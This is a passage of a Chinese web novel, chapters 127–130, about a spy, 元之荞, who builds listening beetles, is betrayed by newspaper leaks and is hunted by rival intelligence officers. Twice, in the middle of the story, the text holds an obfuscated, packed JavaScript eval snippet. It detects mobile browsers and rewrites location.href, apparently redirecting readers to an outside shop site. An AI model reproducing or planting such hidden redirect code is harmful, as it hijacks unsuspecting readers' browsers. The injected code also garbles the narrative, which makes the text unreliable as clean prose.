一家人吃过晚饭,与往年一样,给不知远在何方的元知茂和元知荷送上祝福,盼望着他们顺遂平安。 “好了,该分蛋糕和糕点了!”元知宁倏地起身,脸上满是迫不及待。 元善却睨眼,净是嫌弃:“元知宁,你都快盯成斗鸡了。一个男孩,嘴怎这么馋?” “长身体嘛,”梁桦将巴掌大的蛋糕平均分成四份,“都说半大小子吃穷老子,他这个年纪,总是能吃些的。” “瞎扯,”元善语气忿忿,眼神直射元知宁,“以前之荞不在家的时候,他一年能吃四份蛋糕,把他哥哥姐姐们的蛋糕全吃了,竟然还觉得意犹未尽。这哪里是长身体,这分明就是馋。” 元知宁没管父亲的指责,举着筷子,全神贯注地瞅着母亲手下的蛋 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父母总是这样,习惯性地将孩子的需求置于自己的需求之上,直到孩子的需求得以满足,他们才会去满足自己,但若资源不够时,他们就会牺牲自己的部分,以哺育孩子的需求。 元之荞笑着又推了回去,心里却有些难过:“明明才这么点大,比豆腐还小,哪里能说吃不下,妈妈找理由也不找个好些的,”见梁桦露出小心翼翼的笑,不敢袒露她的满足与奢望,元之荞又觉得有些心酸,她将盘子继续往前推了推,直推到梁桦手边,同样撒娇道,“妈妈吃嘛,我都吃过了,在店里吃了好些呢。” 她是被爱托举着的孩子,她何其有幸。 她也愿意用这份爱反哺,同样托举他们。 听到元之荞这样说,梁桦才敢接下。与元知宁不同,梁桦对上自己喜欢的东西总是小口小口,想要将这份喜悦延长得久一些,可高兴之余,她又想起了元知茂与元知荷:“也不知道你哥哥和姐姐现在在哪,要是他们也能吃上蛋糕就好了。” 元善听闻,也长长叹了一口气。 “快了,”元之荞宽慰父母,“海国军现已经进入疲势,我们的胜利终会来,而这个时间长短,就看对方将抵死坚持到什么程度。” 当下是统一抗战的第六年中旬,原剧情中,海国军在第七年的八月投降。虽然元之荞的出现影响了局势,但不会改变最终结局。或早或迟,海国都会认输。 “最早明年年初,最晚明年年末,对外反侵略战争就能结束,”元之荞一一看向自己家人,像是在郑重承诺,“到时候,咱家就能团聚了。” 元善和梁桦一直都相信元之荞的话,听到都笑了起来,宛若提前预见了那天。 元善:“那时知茂都二十六七了,得给他张罗相亲了。” 梁桦:“那我得提前做些小衣服,到时知荷的孩子也用得上。” 元知宁举手:“那我呢?” 元之荞:“你去上学,然后准备中考。” 元知宁登时泄气似地瘫到椅子,双眼放空:“那岂不是还要背书……” 回到房间,元之荞继续研究仿生间谍。 宋教授那边明天或后天才有消息,故而元之荞准备先做一个甲虫。地上爬的小东西也能隐藏于桌脚等角落,进行实时监听,而且钟以墨还承诺了会运一台电脑来。 这可是好东西。 有了电脑,元之荞可将甲虫试着升级为视觉监控,再高级些,她还可以试着开发关键词触发的语音识别功能。当目标人物在提及特定事件或者人物时,甲虫就能自动拍照进行留存,甚至能将音像传送至电脑,进行远程监控。 元之荞果断开始了尝试,休息时,她习惯性地躺到椅背,放松大脑。 蓦地,钟以墨闯进了她一片空白的脑海。 那些模糊的思绪还未展开,胸腔的萤光就先不安地波动闪耀了起来。 127. 第 127 章 元之荞察觉到了萤光的躁动,她覆上胸口,与之前不同的时,她清晰地感受到了萤光的预警。 元之荞直起身,看向窗外的西南方向,她知道,剧情又出现了。 宿城。 剧情在唐曦身上苏醒。 它醒来的第一件事就是确认日期,然而等它透过唐曦的双眼去看,发现当下时间竟比预计的时间晚了足足一两年,剧情顿时怒不可遏,又去急忙验力量。 然后它发现,自己沉睡时长六年半,恢复程度竟还比不上次在张修正心脏里的那五年。 剧情都气笑了,它阴测的双眼望向黑沉的天幕,拳心紧握,定是男配那边出了意外,甚至在大幅度偏离主线,这才会让它如此虚弱。 元之荞留不得,看来现在,钟墨也留不得了。 剧情试着调出黒焰,然而黒焰虚弱无力,这种情况,别说用来寻人了,就连基础的操控能力都削弱不少。 剧情暗恨,它现在没法离开唐曦,只能进行转移,然而他人的身体究竟是比不过主角的,只好先依靠唐曦进行信息收集,然后再做其他打算。 发现剧情后的第二天,元之荞紧急安排白榆了去查唐曦与张修正。 她不知道剧情会在哪里,但她确定,剧情一定不会不管男女主,若男女主出事,剧情就一定会被迫现身。 唐曦如今十三岁,按照原书情节,她应该在南洲。具体南洲哪里元之荞并不知道,但她决定按照萤光给的提示,让白榆往西南方向找。 张修正今年二十一岁,比较好寻,因为书中记载张修正出身第一师,三年后他认识唐曦那会,恰好晋升为旅长。 元之荞拿着张修正姓名、年龄、出生地等具体消息,让白榆去第一师查人。 两名白榆领命,迅速行动起来。 其实这时的唐曦和张修正一样,正在规规矩矩地按着自己的人生剧本,有条不紊地上演。 唐曦学习知识,为日后的相遇打下气质与文化基础;张修正是第一师的一连连长,在为日后的相遇打下气质与物质基础。不过特别的是,张修正在最近的战役中负伤,为他治疗的正是战地医护女配白茉莉,这俩,也在为日后的虐恋打下感情基础。 白茉莉对张修正可谓一见钟情,每到张修正换药,她都要想办法挤出时间由自己给张修正换药,可惜像白茉莉这样追求张修正的女孩不少,故而就算白茉莉容颜艳丽,张修正也对她没什么想法。 事情正进入副线的感情开头。 * 白榆出发好几天,元之荞一直未收到任何消息,她一边等,一边派人暗中留意钟以墨。钟以墨正忙运输与材料一事,无论是萤光提示还是元之荞的观察,她都确定,剧情不在钟以墨身边,也不在蒲城城内。 几天时间里,元之荞还完善了手头上的间谍甲虫。当然,那只拜托宋教授帮忙的间谍苍蝇也做好了,不过因动能的关系,它能飞的时间并不长,且声音过大,故而继续需要调整与优化。 小甲虫倒真像个玩具似的,置于地面便能遥控前进,不过缺点也很明显,甲虫接收信号的范围很窄,必须要跟在它附近才能操控移动。 从康华下班,天空被晚霞染成粉色,连白云也透上了粉,变得金红。仰头望去,天际被大朵低垂的云覆盖,像是山岚,浓厚而庞大。 路上偶有行人驻足观望,像是难得欣赏如此祥和美丽的夕阳。 元之荞也随路人一齐往天边看去。稻花村的嫂子教过她认云,她知道,这意味着马上就要下暴雨了。 白榆的消息来得很快,第二天中午,元之荞就收到了张修正的消息,内容与《绯恋》原剧情相差无几,但除了一点: [元知茂喜白茉莉,正试图追求] 元之荞立刻给白榆下了新的任务,让他用临时军医的身份在前线多呆一阵子,并密切关注张修正、白茉莉和元知茂三人,但要注意不可惊动对方,行动务必要隐秘。 元之荞发完电报后倍感诧异,她不知哥哥喜欢白茉莉究竟是出于自主意愿,还是因剧情操控,只好先观察看看其中是否有剧情的手笔。 离开工作室准备回家,元之荞才看见外面正下着大雨,康华公司虽然没什么业务,但一下少了两个值班的白榆去出外勤,胡菲作为代班就不得不忙了起来。 元之荞没在前台看见人,便放弃找伞的想法,选择先关窗。 天空黑沉,即使是闪电也无法刺穿,雷声阵阵,即使是大地也得跟着震动,元之荞艰难地把窗合上,外面的风卷起雨,砰砰向着窗户扔来,砸中窗缝时,便汩汩流进,溢得窗台漉漉沾湿。仿佛还不满足,飓风在元之荞转身之际,忽而又冲进大门,一脚就踹开门边的花瓶,然后在地上划上一道深浅分明的分界线。 元之荞简单扫过花瓶碎片,一脚踏进风的地盘,还未来得及去推门,就见一辆黑色的车开到了门边。 元之荞微微睁开眼,车头明灯闪烁,车前的雨水变成了闪亮的银珠亮线,似乎连风雨都变得温和了些。 黑车撞开了这昏沉的午后,为她卸去了半边的风雨。 “之荞,雨太大了,我送你吧。” 黑伞从车门后撑开,钟以墨举着伞,奔向她身侧,元之荞却脚步半退,站到了门内,她抬头,看着眼前的男人:“你怎么来了?” 钟以墨把伞往前递了递,防止飞飘的雨淋到元之荞:“下雨了,怕你回去不方便。” 风肆意拨动他微长的头发,胡乱地盖上他的眉眼,她看不太清他此刻的神情,但她能看到门外斜飞的雨,正一点点打湿着他干洁的衬衫,元之荞扶在门边的手悄悄握紧,像是被风迷了眼,她微微收下视线。 “要是我不在,你不是白跑了?” 钟以墨低笑一声,手指把头发拢至耳后,露出半边清俊的脸,笑道:“不算白来,你不在,我就能放心你没被淋湿了。” “你是不是傻,我又不会只去这一个地方。” 钟以墨抿了抿唇,握着伞柄的手也轻轻收紧:“可我只知道这一个地方。” 元之荞长睫颤动,望了一眼又主动别开。 她看向他们之间的空地。她脚下的地砖干爽整洁,可过了那条风雨分割的界限,便是被雨水浑然浸湿的黑灰,而钟以墨,便站在那里。 深浅交接,格外显眼。 元之荞抬眸,再次看向钟以墨:“要是你来了,我却不要你送呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13114261|126512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钟以墨听言将伞收了,把伞递到元之荞手边:“那我就来给你送伞。” 雨水顺着伞骨,淅淅沥沥流了下来,洒落地面时,便渐渐模糊了那条笔直的界限。 元之荞看着滴到地砖上的雨点,并没有接。 钟以墨见状,轻轻拉过元之荞的手腕,让她接住伞柄:“拿着吧,别淋湿了,你收了我就走。” 应是在风里吹得久了,钟以墨的手指有些凉,虽然碰她的动作很轻,可她还是感受到了一股激凉。 元之荞终是接过了伞。 钟以墨转身离开,元之荞低头,看见伞帽上的雨水,早已越过那条不甚清晰的线,滴到了她脚边。 “钟以墨。”她叫住了他。 钟以墨回头,对上她柔静的眸子。 元之荞重新打开伞,跨进风雨的界限,一步走向他。 “送我回去吧。”她说。 钟以墨放下遮雨的手臂,雨水落到他自然卷的头发上,有些反应不过来地望着她。她高举伞柄,努力遮过他身子上方,车灯在他们身边铺上一层明亮的光,飞落的雨珠,也像是一颗颗灯球,给他们的身影勾勒上绚烂边光。 她望着他,突然笑了,微微偏头指向屋内,“不过你得先帮我关门。” 他也笑了,脸上是自己都未曾发觉的明媚:“好,我帮你。” 元之荞指路,钟以墨这才知元家竟然就在钟公馆附近。 一路上他们闲散地聊着,而元之荞双手叠握,拇指时不时描摹指盖,这种感觉很陌生,她有些无所适从。 车一直开到元家门口,钟以墨停车,拿不准自己要不要送元之荞进门。雨还在下,但较之前已经小了许多。 他斟酌着,想问她下次什么时候有空。她唇线微抿,想向他还那次下午茶,顺便再套些材料的消息。 然而彼此刚刚开口,元之荞就收到了萤光的提示。 “之荞……” “抱歉,下次再说。”元之荞一把拉开车门,撑上雨伞便跑回了家。 刚刚回到房中,电报机就亮了起来,而她这次接收到的,正是宿城白榆传来的有关唐曦的消息。 唐曦过往活动与《绯恋》情节差不多,但最近,唐曦一直在疯狂收集乌麦的信息,并且向来喜欢和女孩玩的她,也变得只与身边男孩玩,对家人的态度也有明显转变。 元之荞看完电报,知道剧情正在唐曦身上,并且知道,剧情就要对她出手了。 当天晚饭,元之荞就以出差为借口,准备离开家一段时间,并告诫家人一些事情,免得她不在时出现意外。 她不能连累他们。 而就在元之荞收拾东西离开后不久,多条与乌麦相关的真实消息,就以宿城为圆心,急速四散开去。 “唐曦”买了一份最新的宿城日报,看着头版头条上“乌麦”二字,用红笔重重地圈出了来。这篇报道,正是它的得意之作。 “我找不到你,但其他人,迟早都会替我找到你,”剧情在乌麦的名字上画了一把巨大的红叉,它丢开笔,不禁露出一抹讥笑,“到时候,全国各地的报纸都是你元之荞的消息,你一个小小炮灰,还能躲到哪里去?” 128. 第 128 章 出事前一周。 扮作红发法国女人的元之荞来到常去的咖啡店,却见门口巷外多了一老叔卖货。货板子由木头制成,板面缝钉着一掌宽的麻布口袋,整整齐齐,有深有浅。每个口袋都装满货品,下层较深的口袋则束着一捆一捆的报纸。 货架斜靠在墙边,老叔坐在矮凳上,有一搭没一搭地吆喝:“香烟、报刊、香水、发蜡……画片和磁带咯。” 元之荞进门的动作一顿,这老叔报单的顺序,恰好是白鸽的暗号之一。她走向货摊,先用法文询问了孩童喜欢的画片,然后顺带问起烟。 她说的也是白鸽暗号,但元之荞不太确定这个暗号还有没有用,毕竟暗号每隔一段时间就会更新,而她离开白鸽在几个月之前,如今暗号极有可能改变。 元之荞说完,见老叔摆手说听不懂,于是她又换回了“蹩脚”的国语。 老叔勉强听懂了元之荞的口音,但她的暗号明显对不上,且发色和五官都是洋人,便怀疑元之荞说的只是偶然,老叔就没给接下来的暗号,只给了元之荞画片与香烟。 元之荞接过画片和香烟,发现均不是暗号,又看了一眼老叔,试探性地问价格:“两样,多少钱?” 老叔据实回答:“十五块五角。” 元之荞放下东西,两次都不是暗号,也许老叔的吆喝只是偶然,元之荞面上露出兴致缺缺的表情,预备离开:“没有更新的?” 这话让老叔心间一惊,顿时又看了一下元之荞,他不甚明晰的眼球转动半圈,终是没有下决心,最近找白鸽的洋人太多了,万一这人也是洋人的探子…… 元之荞见对方无话,事不过三,三次都没对上,这老叔应该不是白鸽的线人,刚想直接离开,却习惯性地在结尾说了最后一句暗语:“有没有二十九块的哈德门?” 问烟是元之荞任职白鸽时的暗规,当然,这个规则现在也在用。 当判断不了对面到底是不是接头人时,白鸽组员可以故意说高价格。哈德门最高定价二十八法钞,听到二十九的价格时,良心的商贩会纠正,黑心的商贩会顺着卖,而只有携带特定信息的白鸽,才会转而推销别的香烟,若该白鸽什么也不知道,则会说自己并没有哈德门香烟。 老叔听见元之荞的问话,像是锈住了般,盯着元之荞那双湛蓝色的假虹膜,心中不断拉扯纠结。 元之荞站在原地,也静静地看着老叔,对视几秒,她确定了对方不是线人,于是转身离开,往咖啡店走去。 “等等……等等,这位小姐……女士等等……”老叔赶在元之荞开门前追了上来,手上还提携着一个深绿色的布袋子。 元之荞转身,看向老叔。 老叔有些紧张地动了动手,下意识地攥紧布袋:“这位,这位女士……我这没有哈德门,你要不要看看三十二块的仙女牌香烟?” 元之荞眉间一凝,三打头价格的女士香烟,暗号正是指代“乌麦”,这老叔手上有她的消息。她神情未变,可刚才老叔的动静已经引来了周边人的注视,于是元之荞点了点头,示意老叔回去看着摊子:“仙女香烟也可以,你还有没有打火机卖?” 老叔顺着元之荞的视线看回摊子,这才意识到刚才自己着急了,于是连连点头:“有的,女士跟我回去拿吧。” 两人走回了摊子,元之荞没问一共多少钱,而是直接从手包中拿出整钞与硬币零钱,加上小费一起,恰好是白鸽的回应数字暗号,然后将钱递了过去:“一共这么多,先生看看对不对。” 老叔接过钱,认真数了数,确定硬币数量和钱数都没问题,这才把打火机先交到元之荞手中,然后去翻那绿色的布包,从里面拿出唯一一盒仙女牌香烟:“女士拿好,谢谢惠顾。” 元之荞没有立刻查看香烟,而是接过就走:“不客气,生意兴隆。” 元之荞离开后并未再进咖啡店,而是担心附近有人观察,于是叫了一辆黄包车,报了一个较远的地点,“师傅,”她依旧用着别人听不太懂的国语,指了指车棚,“太晒,要遮阳。” “欸好的,女士您坐好,我帮您把它拉下来。” 等车夫开始跑,元之荞这才拿出香烟盒,开始观察。 盒子是铁做的,包装上画着一个戴丝巾穿洋裙的时髦女人。之所以叫仙女,因为这个牌子的香烟不仅在造型上与男士香烟不同,还添加了花香。 烟身纤细凝长,状若玉色长筷,更适配于女士偏瘦的指骨,点燃时玫瑰香气浓厚,让人呵气如玫,更仿佛置身于花丛的仙女。 外观没问题,元之荞打开烟盒,发现里面共十只香烟,她一一看去,见一只烟身褶皱,形状也比其他香烟更粗一些。 她挑出这只,烟头的烟丝明显松散,于是轻轻拨去,发现里面夹的不是烟丝,而是一卷纸。 元之荞仔细地撕开烟卷,掰开纸张。纸上的内容来自丹城白鸽,而丹城,正是南洲前往蒲城时必经的一个城市。 元之荞看完纸上内容,马上喊住车夫:“师傅,改道,去圣格列高街的康华公司。” “啊?哦好的,”黄包车夫停下脚步,来不及擦面上的汗,有些艰难地转过弯,“女士您坐稳,这就回租界。” 重新出发后,元之荞点燃打火机,迅速烧掉了纸张,并且又点了一只香烟作为掩饰。 她不会抽烟,香烟就这么停在指间。棚边的风忽起忽落,橙红的烟头忽明忽暗,宛若一根信香,正袅袅地升起不成型的烟尘。 焚香祭酒,求神拜佛之人皆有祈念,盼看不见的神明能主导现实,实现他们心中所愿。 元之荞静静地看了一会,忽然手一松,香烟落到黄包车的脚踏上。 烟头暗光依旧,即使没了风的鼓动,它也能燃烧不止,元之荞扯动嘴角,漆亮的皮鞋毫不犹豫地碾了上去。 若真为神明,就不会只满足内心所欲而肆意操控现实。 烟头在脚下熄灭,元之荞把烟盒重新装好,提前准备好了车钱与小费,刚下车便大步走进会客厅,卸下装扮,快速通知其他白榆:“实验室和所有白榆的东西现在开始秘密转移;马上通知元家和白鸽进行避险;尽快联系潜伏于66号的两名白榆;剩下的人检查康华账目以及表面营生,尽量梳理得干净些,不要让人查出破绽。” “是,组长。” 元之荞交代完,立刻又去工作室敲电报。既然剧情已经开始针对她,那她也得给剧情送些糟心事了。 元之荞再次联络还在第一师的军医白榆,让其想办法撮合张修正和白茉莉,顺带还提了一嘴元知茂,给了白榆能让元知茂去当助攻的点子。 对不起了哥哥,你失去的虽然是爱情,但我失去的可能是性命啊,只能先牺牲你的幸福了。 毕竟我向来不是坐以待毙的人。 * “副处长,接到一条暗报。”下属把来自宿城66号的消息上报狄昇,狄昇接过报告,起初面上还不在意,可刚看了两行,他的眼神就越看越亮,一把抓住下属的衣领,有些兴奋地揪到自己面前:“这上面说的都是真的?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“卖报卖报,乌麦任职白鸽组长的详细内情,尽在万海日报!”又一报童吆喝着跑过,原本还在不服气的戴帽报童听到,刚想追赶,就被食客一把拉住:“诶,你不是说独家吗?刚才那万海日报说有白鸽组长,我看你这蒲城日报也写了,不会是一份稿子,供两家报社吧?” 戴帽报童刚想说话,远处又传来了别家报童的声音:“卖报卖报,金武报独家报道,乌麦真名‘元知荞’,出生中药世家……” 食客长嘶一声,瞪大了眼睛看向戴帽报童:“你们都说是独家,怎么这一看,你们三家报纸卖点都一样啊?到底是不是独家?” 戴帽报童有些怄火,皱眉看向食客:“先生,您到底买不买报?今天的报纸,别说三家了,全蒲城十三家报社的报道内容都是差不多的。您这样耽搁下去,我这蒲城日报就要卖不出去了!” “哎,”一旁的男人听到,立刻对报童招了招手,“既然内容都一样,我要一份,”男人付了钱,眼中有些兴味,迫不及待地展开报纸,“能够做到所有报社内容都差不多,看来这次乌麦的消息,一定是真的。” 食客听到男人的话,倏然明悟,急忙也要了一份:“小孩别走啊,我也要一份。” 类似的报纸在半天内迅速走遍了蒲城,而钟以墨知道后,火速将每一家报社的报纸都买了回来,他看着所述文字均八九不离十的内容,心神俱震。 遭了,她有危险。 129. 第 129 章 钟以墨收拾东西,询问钟管家货运那边的事。 “少爷,今晨五点来了消息,说是下午三年预计能到达港口码渡,”钟管家小心地放下笔,拿着刚刚写好的记事本走到钟以墨身边,“但是少爷说的那什么电脑,英方说还要等,等下次送冰柜才能一起漂洋过来。” 钟以墨看了几眼笔记上的内容,记下后当即转身出门,然后到车库取车,直径开往康华,他准备用项目进度为由找元之荞,好确认她现在的情况。 钟以墨到达康华后,却见公司厂名标牌还在,门口却挂上了“有事外出”的通告牌子。 他敲了敲门,无人回应,于是去找了周边的其他商户:“老板,请问这康华何时关的门?” 做音影碟乐生意的老板顺着钟以墨的手指看去,见他指的是斜对面那户,于是又正眼看回钟以墨,漫不经心地回答道:“昨天吧,不过先生是来谈生意的?可不凑巧,那家公司估计做不了生意了。” 钟以墨登时皱眉,跨步上前,急问道:“为什么?” 老板用软布擦拭唱片机上沾染的灰尘,小心地吹了口气,这才回答:“前天夜里,我听见外边有悉悉索索的响,还以为要进贼,于是就悄悄打开了二楼窗户,刚好看见那家公司不断有人进进出出,好像在搬运什么东西,”老板顿了顿,似心有些余悸,他瞟了一眼康华紧闭的大门,这才继续说,“最后还绑了一个人出来……” “什么人?”钟以墨打断了老板的话,眸中急切。 “这我哪知道啊。”老板语调上扬,有些憋嘴。 “那您可看清被绑人是男是女?”钟以墨又上前一步,挨到了柜台边。 老板阖上眼,回忆似地摇了摇头:“看不太清,那人被麻布套着,哪能看清是男是女、是老是少?”他放下软布,五指并拢在桌上点了点,下结论道,“我看,就是那家公司的洋老板得罪了人,所以才连夜闭店,店员都跑没影了,”老板语重心长,“先生要买卖洋货,还是另寻别家吧。” 钟以墨没管老板的话,注意到碟音店有电话,于是拿出皮夹,抽出一张英钞:“老板,我想借电话一用。” 按当下汇率来算,钟以墨给的可比话费多多了,老板高兴地收下钱,立刻挥了挥手:“先生用吧,想打多久打多久。” 钟以墨从上衣口袋拿出那张康华的名片,拿上听筒,照着数字拨动轮盘,然后快速摇动电话以发送电信号,然而连拨两次,听筒里只有电流的声音,没有任何回应的人声。 钟以墨放下听筒,老板还担心钟以墨没打通会将英钞要回来,结果却见钟以墨心事重重,草草谢过后离开了。 钟以墨上车,迅速赶去了元家,然而元家家宅也如康华一般,人去楼空,无人应答,就连邻居也不知元家是何时离开的,还信誓旦旦地认为元家人会回来。 钟以墨再度告辞离开,沉默着开门上车。 看着元家小楼安静伫立,恰如钟公馆一般,钟以墨觉得心脏正止不住地往下坠。他定了定神,还有一处,还有一处地方他尚未寻过。 钟以墨抱着期望来到元氏医馆,可车还未靠近,他就先见到了关闭的大门。 元氏医馆门口挂着“暂休”牌匾,钟以墨站在台阶之上,两侧双手不自觉地紧握,他深吸一气,想要缓解此刻的心绪,可只将担忧推上了心间。 元家人消失了,这种“消失”,究竟是新军帮助下的隐藏,还是军阀威胁下的缉拿,钟以墨并不清楚。他静下心来,既然明面上的方法找不到元之荞,那只能用自己的方式了。 钟以墨驱车回家,开门便直进书房:“钟叔,郑处长最近送的请帖在哪?” * 出事前三天。 一夜之间,街头巷尾忽然传开了乌麦被66号擒获的消息,此事不仅惊动了66号相关领导,更是惊动了各方势力,各方势力都纷纷派人,欲去66号和军阀探明虚实,就连调查科也派出特派员,想要去了解实情。 这时,三处郑处长才知自己的手下狄昇早就知晓乌麦消息,并抓到了人,然而狄昇却一直瞒而不报,显然在意图抢功。郑处长怒不可遏,叫来了狄昇就指着鼻子骂:“你好大的胆,刚当上副处长没多久,就敢盯上我正处长的位子?” 狄昇双手半插裤兜,右腿屈着,并不端正的模样:“处长想多了,我不敢。” “不敢?”郑处长呵笑,“我看你不是不敢,而是在怕不能!” 狄昇没有说话,微微嘬了一下腮帮子,而郑处长见状,顿时心中更加气愤。要是今天不能把狄昇的气焰压下去,那他屁股下的位置,估计也坐不稳了。 郑处长双手背到身后,压下眉眼,哼了一句:“你以为先抓到人,就能越过我向段公邀功?”他盯着狄昇的脸,缓缓走到狄昇身侧,“三处可不止你看到的这些人,像你这种揪着上官位置,你手里部下也有不少效仿吧?” 狄昇身形未动,眼珠却在慢慢移动,跟着盯向郑处长。他和郑处长想到一块去了,若非自己人泄露告密,怎么可能他才抓到乌麦,仅仅才过几小时就闹得满城皆知?显然是有人不想希望他继续升官,所以才用这种方式拉他下马,好空缺出副处长的位置。 郑处长站到门边,阴恻恻地盯着狄昇背影,像是要把狄昇的后脑穿出一个洞来:“要你在行动前老实上报,我还能提前联系中央,将人秘密转移,可现在这个情况,不仅新军那边一定会行动,就连海国军和洋人,都怕是会一一上门。” 郑处长的声音带上胁迫,也带着一丝讥诮:“你想先从乌麦口中撬出消息,如今看来,怕是提人的人,要比你的审讯来得要快。” 狄昇倏地转过身,对上郑处长的目光也带上了投诚,他扯扯嘴角,试图给自己的表情增添几分可信:“郑处长,先前是我鲁莽,才没及时上报,”狄昇承认错误,并开始找补,“只因一开始,乌麦的消息就来自我那去查杜盛云的下属,他也是偶然截获,并且汇报时说此消息早从南洲四散,照速度,两天后就能抵达蒲城。所以我才没管其他,而是选择立刻行动,就想赶在其他人之前,先找到乌麦。” 见狄昇服软,郑处长这才下梯子,缓和了语气:“乌麦关哪了?” 狄昇沉默一秒,终是压低了声音开口:“66号的密审室。” 郑处长眉头锁起,密审室为了保密,关押之处向来只有一把钥匙,且钥匙只在主审上身上。他眼神微眯,斜睨狄昇,这小子心思阴暗且深沉,竟 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郑处长的鼻腔重重哼出一声,硬的不行,自己就拿他狄昇没办法了?郑处长气势汹汹地坐回椅子,还未开口,就听门外响起了敲门声。 一位通报的警卫员开了门,他模样清秀,身形却有些罗锅。警卫员耸着肩膀,快速扫了一眼室内的两人,低头汇报:“报告郑处长和狄副处长,四处派来的费特派员、调查科派来的徐特派员,以及一处的连副处长,三人都来了,说是……调查抓到乌麦一事,以及核实三处内部。” 狄昇捏紧拳头,没想到人竟来得这么快,他霎时扭头看向郑处长,而郑处长的神情亦是紧张,只是在对上狄昇视线时,强行让自己镇定了下来:“怎么?你捅出来的烂摊子,还指望我替你去收拾?”郑处长将双手把上扶手,故意做出一副放松的样子,“我虽是你上官,但我毫不知情,连钥匙等证物也没有,怕是想担责,也担不起来啊。” 郑处长说得很清楚了,职责全在狄昇,而狄昇也知自己躲不过,看着郑处长的眼神里便带上了愤恨。如若早知道,刚才他就把钥匙给这奸头了。 狄昇转身,语气很冷:“人在哪等?” 警卫员态度小心翼翼,依旧低眉顺耳:“领导们都在正厅的会议室。” 狄昇听了就走,而警卫员谨慎地瞄了一眼上方的郑处长,低头继续说:“处长,连副处长指明了要见您。” 郑处长从椅子上噌地站起,顿时咬紧后槽牙,他和狄昇在66号,均知晓内部审查的厉害,人一旦进审讯室,掉层皮都算轻的,而一处负责的是军阀干部,按道理,他们管不上66号,怎么会无端上门,还指名了要找自己? 郑处长双手撑在桌面,指尖被压得泛白,他摸不准一处的打算,只好过错全归咎到了狄昇身上。 既然抓捕乌麦的事平白扯上自己,那他就绝不能白白受这份冤枉。狄昇,乌麦的好处,你别想占到半分。 郑处长粗暴地拉开椅子,臭着脸,也跟去了会议室。 最后离开的警卫员负责关门,他借着掩门的动作,将一黑色小甲虫快速扔到了门后,然后又极快地扫了一眼室内位置,这才状若无事地关门离开。 130. 第 130 章 出事前三天。 狄昇接受了连续不断的审问,整个人变得十分焦躁,这时,他终于同意与郑处长合作,不过,他仍会秘密复制一把钥匙,新钥匙他自己拿着,旧钥匙则交给郑处长,好让郑处长认为他是真心服软了。 沙发脚下的甲虫动了动天线触须,试探性地往前走了两步,调整好了信号发射,这才继续躲在阴影中。 除了狄昇不堪其扰,郑处长也被迫接待了一批又一批的客人,这些客人都来求合作的,尤其是洋人。 仿佛统一了口径,每个上门的洋人,都表示自己国家愿用武器和资源交换乌麦,而丑国代表则私下对郑处长直言,只要郑处长肯帮忙隐瞒军阀,帮丑国伪装劫人,他们就许诺郑处长一大笔金钱,并帮助郑处长移民丑国,让郑处长无需担心军阀报复。 郑处长听得心动,可究竟要留还是要走,郑处长还没想好,毕竟上面想要的不是乌麦这人,而是乌麦所掌握的新军消息。段公也透露,只要66号从乌麦口中撬出新军的消息,乌麦就没多大用处了,随时可拿去与洋人交换好处。 郑处长这时候异动,风险实在太大,于是他选择稳住丑方,让对方给自己三天时间考虑。 今天才稳下洋人各方势力,应付了海国人刺探,郑处长刚想坐下来歇口气,有些罗锅的警卫员就又来敲门了:“处长,一位叫克伦威尔先生想见您。” 郑处长燥得内生火气:“不见,就说我不在。”他厚实的屁股砸下长沙发,半边身子嵌了进去。郑处长摸上一旁茶几,粗鲁地翻开倒扣的玻璃茶杯,杯盏铛铛碰撞,发出一连串暴躁的脆响。 茶壶倒水的声音极大,警卫员小心地扫视了一圈,没发现小甲虫露出视野,这才放下心,咽了咽唾沫又继续道:“处长,他说您要是不见,克伦威尔就会向英方提出意见,请求重新思量对军阀的武器援助。” 杯子重重搁到桌面,清亮的茶水在杯中剧烈晃荡,郑处长用力甩了甩手,将洒到手背上的茶水甩得到处都是。 “娘的,”郑处长胡乱在沙发上擦了擦,满眼都是不耐烦,“一个个净来找老子麻烦!” 等擦到软皮沙发随处可见反光的水渍,郑处长才终于平静了一些,他站起身,走向办公的桌椅:“叫他进来。” “好的处长。”警卫员很快退了出去,不一会,他就带着钟以墨重新走了进来,把人带到,警卫员便细心地把门关上。 郑处长做了一个“请”的手势,示意钟以墨坐上待客用的软沙发,但钟以墨只看了一眼,并未坐下。他径直走到郑处长面前,说明来意。 郑处长才听到一半就耐心告罄,同样的问题,这是他今天听到的第四次了,郑处长的表情懒得掩饰,他撇开脸,不带任何感情:“先生,我想你听的都是谣言,我们66号并未抓到乌麦,而是抓了一批白鸽的人。” 钟以墨没有反驳,他把最近郑公馆发来的请帖摆到桌面:“若真是谣言,郑处长怎么会忙得见我面的时间也没有,难不成这些邀请都是虚情假意?” 郑处长看到被推至眼前的烫金请帖,上面日期正是一周前,而内容是诚挚地邀请克伦威尔·利亚姆去奎园看戏。郑处长无话可说,可他也不想再找借口应付钟以墨,于是沉默着,准备冷处理。 钟以墨并不想浪费时间在言语上拉扯,他直接亮明底牌:“我已经从英方得知66号确实关押了乌麦,我来这,也不是为了为难郑处长,而是想见一见乌麦。” 郑处长眉头挑起,正眼看向钟以墨:“你看乌麦干什么?” “郑处长知道新军的天-8吧?”钟以墨嘴角轻扯,“那架电子侦察机所搭载的电子干扰机械,其研发的材料和最终的测验都离不开专有设备,而这样的设备,在我投资的诺兰实验室,恰好少了一台,”钟以墨眼神凌厉,“当时报失原因是设备毁坏,但现在看来,拉出去的设备没有被销毁,反而是被偷偷运来了这里,交到了乌麦手上。” 